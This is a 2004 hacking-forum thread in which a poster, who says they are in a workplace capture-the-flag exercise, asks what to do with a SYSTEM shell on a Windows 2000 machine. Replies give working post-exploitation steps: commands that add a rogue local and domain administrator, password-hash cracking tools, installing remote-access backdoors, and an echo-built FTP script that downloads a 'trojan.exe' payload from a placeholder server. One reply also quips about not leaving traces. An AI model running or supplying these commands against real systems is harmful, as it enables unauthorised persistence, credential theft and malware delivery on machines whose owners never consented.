Cmd.exe Shell With System Lev Priv, What Do Next?
#1
Posted 18 August 2004 - 01:27 PM
We have a training exercise going on here at work, something like "capture the flag".
I was able to obtain a remote command shell with system level privelages from a W2K box, but I don't know what to do next?
My thoughts were maybe running pwdump3e to dump the hash, but I don't know how to run that remotely, because I don't have admin password yet.
I was able to use "enum" to enumerate username from my target machine, but I don't have any passwords.
The ports that are open on my target machine: 25, 80, 135, 139, 443, 445, 1025, 1026, 3389.
I also thought about mapping a share remotely, and then poking around on the target machine, to see if I can find the hidden flags, but I think I have to have a valid username and password to do that.
The goal of this exercise is for me to to be able to gain additional privelages(i.e administrator) and find files and scripts with passwords, network design, or any useful documents.
Any ideas?
#5
Posted 18 August 2004 - 01:37 PM
#7
Posted 18 August 2004 - 03:07 PM
brOmstar, on Aug 18 2004, 01:33 PM, said:
stupid question .... how can i add a new user ?? what do I need ?? what is a terminal client ??
:unsure:
#8
Posted 18 August 2004 - 03:11 PM
now use LC5 or when you have rainbowcrack tables rcrack normally you can crack all passwords. Or you add a new user with admin rights or you install a backdoor like radmin :( you have the choice ;)
#9
Posted 18 August 2004 - 03:25 PM
KuerbY, on Aug 18 2004, 03:11 PM, said:
now use LC5 or when you have rainbowcrack tables rcrack normally you can crack all passwords. Or you add a new user with admin rights or you install a backdoor like radmin :( you have the choice ;)
but how can somebody start or transfair r_admin without exec right ??
#10
Posted 18 August 2004 - 04:42 PM
@cmdline with sys-priviliges type
net user username password /add
net localgroup administrators username /add
(if domain controller add)
net group "domain admins" username /add
after that is done simply open the remote desktop client on ur own box and connect to the ip(included in xp/downloadable at ms for 2000/under *nix use rdesktop as client)
logon screen appears use ur created account -> ur r admin with a full remote desktop session what u want more?
now u can do anything what u can do on ur own system !!
@carny u r the system u can do anything
#11
Posted 18 August 2004 - 05:25 PM
I used the tips given above and created a new user and added that user to the administrators group. I then connected to C$ and was able to view files on my target system. My co-worker who set up this lab, had files on the target system that contained username and passwords and I was able to find tthose files.
Next, I need to figure out how to upload tools? Can you do that with the remote administration utility? I'm getting ready to try that now.
Also, do you all know of any good backdoors for W2K?
Thanks again for your help.
#13
Posted 18 August 2004 - 06:52 PM
vicky, on Aug 18 2004, 07:34 PM, said:
true :)
but make sure you execute the backdoor from the cmd shell
not from explorer view in the share (using double click) since that'll make the backdoor run on your computer
#14
Posted 18 August 2004 - 07:08 PM
annointed3, on Aug 18 2004, 01:27 PM, said:
We have a training exercise going on here at work, something like "capture the flag".
then why are u asking all these questions, i mean, arent they teaching u anything?
besides, u ask us what to do next, i think u need to capture the flag...
and besides, if u have (created) an admin account and u can axx it using a remote screen why u need a backdoor for then ? U can do everything possible then so capture the so called flag.
#15
Posted 19 August 2004 - 02:38 AM
echo open blablaftpserver PORT >> c:\whereuwant.txt
echo user blaaaa >> c:\whereuwant.txt
echo pass böaaa >> c:\whereuwant.txt
echo BINARY >> c:\whereuwant.txt
echo get troan.exe >> c:\whereuwant.txt
echo get trojan.dll >> c:\whereuwant.txt
echo quit
hehe ;)
it'LL only work if ftp.exe is avaible ;)
hf with capturing the logs u have left ^^
edit !: another example ;D
sex is like hacking , u get in u get out and u hope that u don't left something behind that can be traced back to u ^^
gr€€tZ fL4Shb4Ck

Sign In
Register
Help
MultiQuote